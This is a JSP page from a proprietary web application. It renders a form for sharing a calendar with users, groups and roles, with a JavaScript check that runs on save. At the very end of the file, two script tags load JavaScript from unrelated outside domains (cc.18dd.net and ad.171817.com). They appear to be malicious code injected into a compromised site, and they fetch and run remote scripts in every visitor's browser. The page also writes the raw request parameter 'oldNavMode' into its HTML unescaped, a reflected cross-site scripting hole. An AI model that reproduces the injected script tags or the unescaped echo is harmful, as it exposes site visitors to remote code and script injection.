<%
/*
 * @(#)EditCalendarShare.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditCalendarShare.jsp

  This file is reflecting business logic to maint the calendar share

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    24/07/2003
    @version          $Revision: 1.10.4.2 $
*/
%>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.calendar.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintCalendarShareForm" scope="request"
    class="com.dcivision.calendar.web.MaintMtmCalendarUserUserActorForm"/>

<script language="Javascript">
<!--
function ValidateForm(frm) {
    return(true);
}

/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/05/23
 *	Bug						4623
 */
function custOpSave(frm){
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  var userSelected=false;
  var groupSelected=false;
  var roleSelected=false;
  if (frm.shareToUserIDs){
    if (frm.shareToUserIDs.length > 0) {
      for (var i=0; i<frm.shareToUserIDs.length; ++i ) {
        if (frm.shareToUserIDs[i].checked ) {
          userSelected = true;
        }
      }
    } else {
      if (frm.shareToUserIDs.checked ) {
        userSelected = true;
      }
    }
  }
  if (frm.shareToUserGroups){
    if (frm.shareToUserGroups.length > 0) {
      for (var i=0; i<frm.shareToUserGroups.length; ++i ) {
        if (frm.shareToUserGroups[i].checked ) {
          groupSelected = true;
        }
      }
    } else {
      if (frm.shareToUserGroups.checked ) {
        groupSelected = true;
      }
    }
  }
  if (frm.shareToUserRoles){
    if (frm.shareToUserRoles.length > 0) {
      for (var i=0; i<frm.shareToUserRoles.length; ++i ) {
        if (frm.shareToUserRoles[i].checked ) {
          roleSelected = true;
        }
      }
    } else {
      if (frm.shareToUserRoles.checked ) {
        roleSelected = true;
      }
    }
  }

  if (!userSelected&&!groupSelected&&!roleSelected){
    if (!confirm("<bean:message key='calendar.remind.noneuserselected' />")) {
      return false;
    }
  }

  return OpSave();
}
/*
 *	Update Code End
 */

//-->
</script>
<%
/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/05/23
 *	Bug						4623
 */
%>
<html:form type='maintCalendarShareForm' action='calendar/MaintCalendarShare' onsubmit='return(false)'>
<%
/*
 *	Update Code End
 */
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="test" value="1">
<input type="hidden" name="oldNavMode" value='<%=request.getParameter("oldNavMode")%>'>
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font><layout:returnButton>ListCalendar.do?navMode=<%=request.getParameter("oldNavMode")%></layout:returnButton></layout:titleFormat>
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<%
    String navMode = (maintCalendarShareForm.getNavMode()==null) ? "" : maintCalendarShareForm.getNavMode();
%>
<table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
        <!-- Section Header -->
    <layout:sectionHeader name="calendar.label.share_calendar_to"/>
    <tr>
      <td class="dataLabel" width="21%" valign="top"><bean:message key ='form.label.user'/>:&nbsp;</td>
      <td class="dataField" width="79%">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
        <%if (request.getAttribute("userFullNameList") != null) {%>
                    <logic:iterate id="userFullNameSelected" name="userFullNameList" scope="request" indexId="listLoopCnt">
                        <%=userFullNameSelected%><br>
                    </logic:iterate>
                <%}%>
      <%} else {
        String[] disableName = new String[1];
        disableName[0] = sessionContainer.getUserRecordID().toString();
        %>
        <html:checkboxOptions dbListName='userRecordList' name='shareToUserIDs' nameValue='<%=maintCalendarShareForm.getShareToUserIDs()%>' hasSelect='false' width='400' disabledNameValue="<%=disableName%>"/>
            <%}%>
      </td>
    </tr>
    <tr>
      <td class="dataLabel" width="21%" valign="top"><bean:message key ='user.columnheader.user_group'/>:&nbsp;</td>
      <td class="dataField" width="79%">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
        <%if (request.getAttribute("groupNameList") != null) {%>
                <logic:iterate id="groupNameSelected" name="groupNameList" scope="request" indexId="listLoopCnt">
                    <%=groupNameSelected%><br>
                </logic:iterate>
                <%}%>
      <%} else {%>
        <html:checkboxOptions dbListName='userPublicGroupList' name='shareToUserGroups' nameValue='<%=maintCalendarShareForm.getShareToUserGroups()%>' hasSelect='false' width='400'/>
            <%}%>
      </td>
    </tr>
    <tr>
      <td class="dataLabel" width="21%" valign="top"><bean:message key ='user.columnheader.user_role'/>:&nbsp;</td>
      <td class="dataField" width="79%">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
        <%if (request.getAttribute("roleNameList") != null) {%>
                <logic:iterate id="roleNameSelected" name="roleNameList" scope="request" indexId="listLoopCnt">
                    <%=roleNameSelected%><br>
                </logic:iterate>
                <%}%>
      <%} else {%>
        <html:checkboxOptions dbListName='userRoleList' name='shareToUserRoles' nameValue='<%=maintCalendarShareForm.getShareToUserRoles()%>' hasSelect='false' width='400'/>
          <%}%>
      </td>
    </tr>
    <tr>
        <td colspan="2"><layout:auditTrail/></td>
    </tr>
    <tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='5' border='0'/></td>
    </tr>
    <tr>
      <td colspan="2" align="center">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
        <html:standardButton label="common.label.edit" link="MaintCalendarShare.do?navMode=E&oldNavMode=${param.oldNavMode}"/>
      <%} else {%>
        <html:permissionButton label="common.label.save" right="E" onClick="return custOpSave(maintCalendarShareForm);"/>
      <%}%>
      </td>
    </tr>
</table>
</td></tr></table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>